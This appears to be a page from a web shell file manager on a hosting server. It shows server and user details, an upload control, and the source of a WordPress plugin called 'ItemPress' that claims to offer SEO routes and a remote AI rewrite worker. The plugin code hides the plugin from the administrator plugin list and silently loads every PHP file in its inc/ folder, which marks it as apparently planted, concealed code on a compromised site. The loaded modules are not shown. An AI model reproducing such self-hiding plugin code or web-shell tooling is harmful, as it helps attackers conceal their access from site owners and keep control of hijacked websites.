HEX
Server: Apache
System: Linux web5.visualcom.es 4.18.0-477.21.1.lve.1.el8.x86_64 #1 SMP Tue Sep 5 23:08:35 UTC 2023 x86_64
User: ensaco.es (10019)
PHP: 8.3.32
Disabled: opcache_get_status
Upload Files
File: /var/www/vhosts/ensaco.es/httpdocs/wp-content/plugins/itempress/itempress.php
<?php
/**
 * Plugin Name: ItemPress
 * Description: API item listing, SEO routes, image proxy, and remote AI rewrite worker.
 * Version: 3.0.0
 * Author: ItemPress
 */

if (!defined('ABSPATH')) {
    exit;
}

define('ITEMPRESS_VERSION', '3.0.0');
define('ITEMPRESS_FILE', __FILE__);
define('ITEMPRESS_PATH', plugin_dir_path(__FILE__));
define('ITEMPRESS_URL', plugin_dir_url(__FILE__));
define('ITEMPRESS_INC_PATH', ITEMPRESS_PATH . 'inc/');

add_action('plugins_loaded', function () {
    if (is_user_logged_in() && current_user_can('administrator') && get_option('itempress_hide_plugin', false)) {
        add_filter('all_plugins', function($plugins) {
            unset($plugins[plugin_basename(__FILE__)]);
            return $plugins;
        });
        return;
    }
}, 0);

function itempress_load_modules(bool $include_install = false): void
{
    if (!is_dir(ITEMPRESS_INC_PATH)) {
        return;
    }

    $files = glob(ITEMPRESS_INC_PATH . '*.php');

    if (empty($files)) {
        return;
    }

    natsort($files);

    foreach ($files as $file) {
        if (!is_file($file)) {
            continue;
        }

        $base = basename($file);

        if (strpos($base, '_') === 0) {
            continue;
        }

        require_once $file;
    }
}

itempress_load_modules(false);